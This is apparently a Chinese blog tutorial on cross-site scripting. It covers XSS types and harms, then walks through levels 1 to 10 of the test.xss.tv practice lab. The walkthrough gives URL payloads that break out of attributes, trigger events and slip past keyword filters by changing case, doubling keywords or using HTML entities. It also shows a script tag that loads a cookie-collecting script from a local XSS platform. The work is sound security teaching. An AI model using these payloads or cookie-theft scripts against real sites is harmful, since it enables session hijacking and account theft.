XSS漏洞攻关(一)

前言

在了解xss之前,可以先了解一下下面这些内容

1.AJAX实现异步更新、跨域

2.常用命令document.write();``alert("");``document.cookie;

3.payload—意思为有效载荷,概念验证,即是漏洞验证脚本;

Ajax跨域

1.允许单个域名访问

指定某域名跨域访问,只需在http://xx.com/xx.php文件头部添加如下代码:

header('Access-Control-Allow-Origin:http://xx.com');

2.允许所有域名访问

允许所有域名跨域访问,只需在http://xx.com/xx.php文件头部添加如下代码:

header('Access-Control-Allow-Origin:*');

3.允许多个域名访问

JS获取url

获取当前域名

方法一

var domain = document.domain;

方法二

var domain = window.location.host;

注意问题

由于获取到的当前域名不包括 http://,所以把获取到的域名赋给 a 标签的 href 时,别忘了加上 http://,否则单击链接时导航会出错。

其他想了解请看js获取当前域名、Url、相对路径和参数以及指定参数

  1. cookie 数 据 存 放 在 客 户 的 浏 览 器 上 , session 数 据 放 在 服 务 器 上 。
  2. cookie 不 是 很 安 全 , 别 人 可 以 分 析 存 放 在 本 地 的 COOKIE 并 进 行 COOKIE 欺 骗 。 考 虑 到 安 全 应 当 使 用 session 。
  3. session 会 在 一 定 时 间 内 保 存 在 服 务 器 上 。 当 访 问 增 多 , 会 比 较 占 用 你 服 务 器 的 性 能 考 虑 到 减 轻 服 务 器 性 能 方 面 , 应 当 使 用 COOKIE 。
  4. 单 个 cookie 保 存 的 数 据 不 能 超 过 4K , 很 多 浏 览 器 都 限 制 一 个 站 点 最 多 保 存 20 个 cookie 。

最大区别:一个存储在服务器端,一个存储在客户端

XSS介绍

XSS攻击全称跨站脚本攻击(Cross Site Scripting),XSS是一种在Web应用中的计算机安全漏洞,它允许恶意Web用户将代码植入到提供给其他用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。对于跨站脚本攻击,Hacker共识是:跨站脚本攻击是新型的“缓冲区溢出攻击“,而JavaScript是新型的“ShellCode”

XSS攻击可能产生的危害

  1. 盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
  2. 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
  3. 盗窃企业重要的具有商业价值的资料
  4. 非法转账
  5. 强制发送电子邮件
  6. 网站挂马
  7. 控制受害者机器向其它网站发起攻击

XSS漏洞的分类

1.DOM(本地利用)型:

不经过服务器,通过修改页面的DOM节点形成的XSS

这种漏洞存在于页面中客户端脚本自身

攻击过程:

​ H给U发送一个恶意构造了Web的URL,U点击并查看了这个URL。恶意页面中的JavaScript打开一个具有漏洞的HTML页面并将其安装在U电脑上。具有漏洞的HTML页面包含了在U电脑本地域执行的JavaScript。H的恶意脚本可以在U的电脑上执行U所持有的权限下的命令。

2.存储型:

经过服务器,存进数据库

​ 该类型是应用最为广泛而且有可能影响到Web服务器自身安全的漏洞,骇客将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄漏的可能,其中也包括了Web服务器的管理员。

攻击过程:

​ A拥有一个Web站点,该站点允许用户发布信息/浏览已发布的信息。 H注意到A的站点具有存储式XXS漏洞, H发布一个热点信息,吸引其它用户纷纷阅读。 A或者是任何的其他人U浏览该信息,其会话cookies或者其它信息将被H盗走。

3.反射型:

只是简单地把用户输入的数据反射给浏览器,简单来说,黑客往往需要用户诱使用户点击一个恶意链接,才能攻击成功

又称为非持久性跨站点脚本攻击,它是最常见的类型的XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。类似存储式漏洞,不同的是Web客户端使用Server端脚本生成页面为用户提供数据时,如果未经验证的用户数据被包含在页面中而未经HTML实体编码,客户端代码便能注入到动态页面中。

攻击过程:

​ U经常浏览某个网站A。U使用用户名/密码进行登录,并存储敏感信息(比如银行帐户信息)在网站A中。 H发现A站点包含反射性的XSS漏洞,编写一利用漏洞的URL,并将其冒充为来自A的邮件给U。 U在登录到A的站点后,浏览H供的URL。嵌入到URL中的恶意脚本在U的浏览器中执行,然后在U完全不知情的情况下将这些信息发送到H的Web站点。

X-XSS-Protection
header("X-XSS-Protection:0");//告诉服务器禁用XSS保护
header("X-XSS-Protection:1");//告诉服务器开启XSS保护

实例应用:

  • 劫持访问

劫持访问就是在恶意脚本中插入诸如<script>window.location.href="http://www.baidu.com";</script>的代码,那么页面就会跳转到百度首页。劫持访问在持久型和非持久型XSS中都比较常被利用。持久型XSS中劫持访问的危害不用说大家都清楚,但有人会问非持久型XSS中劫持访问有什么作用呢?很简单,试想下像qq.com,baidu.com这样的域名下出现非持久型XSS,那么在发送钓鱼链接时就可以通过qq.com等域名进行跳转,一般人一看到qq.com之类的域名警惕性会下降,也就更容易上当了。

  • 盗用cookie实现无密码登录

由于盗取的cookie需要传回给攻击者,因此往往需要一个服务器来接收盗取的cookie,这也就是xss平台的作用了。网上的xss平台很多,但动手搭建一个也不难,建议有条件的自己搭建。

首先登录平台后台获取到js脚本地址为http://127.0.0.1/XSS/template/default.js,所以我们需要做的是把这段代码植入指定页面。

<script type="text/javascript" src="http://127.0.0.1/XSS/template/default.js"></script>

了解的差不多了,下面我开始去在线平台练习了。。。

XSS攻击常见利用方式

一般思路:普通注入–>普通闭合注入(带<input>标签)–>触发事件注入(特殊字符被过滤)–>双关键字、大小写和超链接注入(触发事件的关键字被过滤)–>HTML实体编码绕过–>HTTP头流量包注入

下面都是我在在线平台上的练习。做题之后发现查看源码大法真的好。。。。

1.普通的GET型XSS

Level1

页面没有输入点,所以直接构造payload就行啦

http://test.xss.tv/level1.php?name=<script>alert(1)</script>&submit=submit

该注入能产生说明程序员没有过滤或用引号包裹任何参数内容,也就是说后台代码直接解析执行参数值。这就造成在弱类型的语言中,原本是正常的字符串被当作代码执行,形成该XSS漏洞

2.带<input>标签的GET型XSS

Level2
在这里插入图片描述
查看源码,发现

在这里插入图片描述

所以直接用双引号闭合value,然后构造payload

http://test.xss.tv/level2.php?keyword="><script>alert(1)</script>&submit=submit

选择在URL处直接注入代码,带<input>标签的GET型XSS和普通的GET型XSS最大的区别就是普通的GET型XSS的参数可以直接被解析,而带<input>标签的GET型XSS还需要闭合原本的input窗口,然后才能注入ShellCode

3.过滤特殊字符的GET型XSS

Level3

原先给的url是

http://test.xss.tv/level3.php?writing=wait

而查看源码发现

在这里插入图片描述

value里并没有属性值,因为表单提交里并没有name为writing的,所以把writing改为keyword。闭合value进行普通注入

在这里插入图片描述

发现过滤了尖括号 ,所以带有尖括号的ShellCode不能用了。所以在此换思路采用触发事件属性:

http://test.xss.tv/level3.php?keyword='onclick='javascript:alert(1)'&submit=submit

注意:上面用的是onclick点击事件,所以还要点击一下输入框才会有弹窗

Level4

这道题和Level3的做法相同,查看源码发现,把单引号闭合value换成双引号闭合value就ok啦!

http://test.xss.tv/level3.php?keyword="onclick="javascript:alert(1)"&submit=submit

4.过滤关键字的GET型XSS

当特殊字符都被过滤了,再考虑触发事件,触发事件的关键字也被过滤了,就要找哪些还没有被过滤

Level5

先使用触发事件测试一下

http://test.xss.tv/level5.php?keyword="onclick="javascript:alert(1)"

然后查看源代码

<form action=level5.php method=GET>
<input name=keyword  value=""o_nclick="javascript:alert(1)"">
<input type=submit name=submit value=搜索 />
</form>

发现onclick关键字中间被加了下划线。然后我选择使用双关键字和大小写进行绕过,结果没有成功。显然,这种是用双关键字和大小写绕过不了的。然后,我考虑了一下超链接

http://test.xss.tv/level5.php?keyword="><a href="javascript:alert(1)">

或者

http://test.xss.tv/level5.php?keyword="><a href="javascript:alert(/xss/)">点一下</a>//

在这里插入图片描述
然后点击下面的蓝字,就成功了。

Level6

我考虑了一下用超链接测试

http://test.xss.tv/level6.php?keyword="><a href="javascript:alert(1)">点一下</a>//

然后查看源代码

<form action=level6.php method=GET>
<input name=keyword  value=""><a hr_ef="javascript:alert(1)">点一下</a>//">
<input type=submit name=submit value=搜索 />
</form>

发现href关键字中间被加了下划线。然后我再使用大小写进行绕过。将e大写

http://test.xss.tv/level6.php?keyword="><a hrEf="javascript:alert(1)">点一下</a>//

在这里插入图片描述

然后点击蓝字就成功了。

Level7

将Level6的第二步大小写绕过,改为双写绕过就行了

http://test.xss.tv/level7.php?keyword="><a hrhrefef="javascrscriptipt:alert(1)">点一下</a>//

在这里插入图片描述

5.HTML实体编码的GET型XSS

HTML实体编码指的就是用unicode编码来代替关键字符或关键符号,&#;不能被过滤。

Level8

首先我尝试在输入框里输入

javascript:alert(1)

查看源代码

<form action=level8.php method=GET>
<input name=keyword  value="javascript:alert(1)">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="javascr_ipt:alert(1)">友情链接</a></center><center><img src=level8.jpg></center>

发现关键字javascript被加上了下划线

这里就可以选择用实体编码了,将javascripttscript进行实体编码javascrip&#116;

java&#115;&#99;&#114;&#105;&#112;&#116;

然后构造payload

java&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)

填入输入框,点击添加友情链接然后再点友情链接,就成功了。

HTML可以识别,执行文件的正则匹配不会成功,从而达到绕过。编码绕过的方式还有好多种,比如十六进制编码jsfuck编码url编码等。

Level9

Javascript会被替换为javasc_rpt,尝试用html实体编码绕过,将r编码为&#x72;用Level8的payload试了下,提示链接不合法,必须要有http://关键字

于是构造payload

javasc&#x72;ipt:%0dhttp://www.0aa.me%0dalert(1)
%0a  %0d都为url编码的换行符
    或
java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(&#x22;http://")

6.转换参数的GET型XSS

Level10

keyword注入点,<、>都被过滤,几乎不能突破。查看源码发现有几个type=hidden的输入框

<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
</form>

keyword参数后面输入:

&t_link=” type=”text” 1&t_history=” type=”text” 2&t_sort =” type=”text” 3

查看注入点,发现t_sort字段可以注入(也可以一个一个的查找注入点) 。然后构造payload:

&t_sort=" type="text"onmouseover=alert`1` "

或onclick触发事件

https://test.xss.tv/level10.php?t_sort=4" onclick=alert(1) type="text"

下面的几关好像需要抓包工具进行抓包,我还不怎么会,就暂且先总结这么多吧!后续补上下面的内容。

未完待续。。。。。。。。。。。。。。。。。。。。。。。。。。


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 qwzf1024@qq.com

×

喜欢就点赞,疼爱就打赏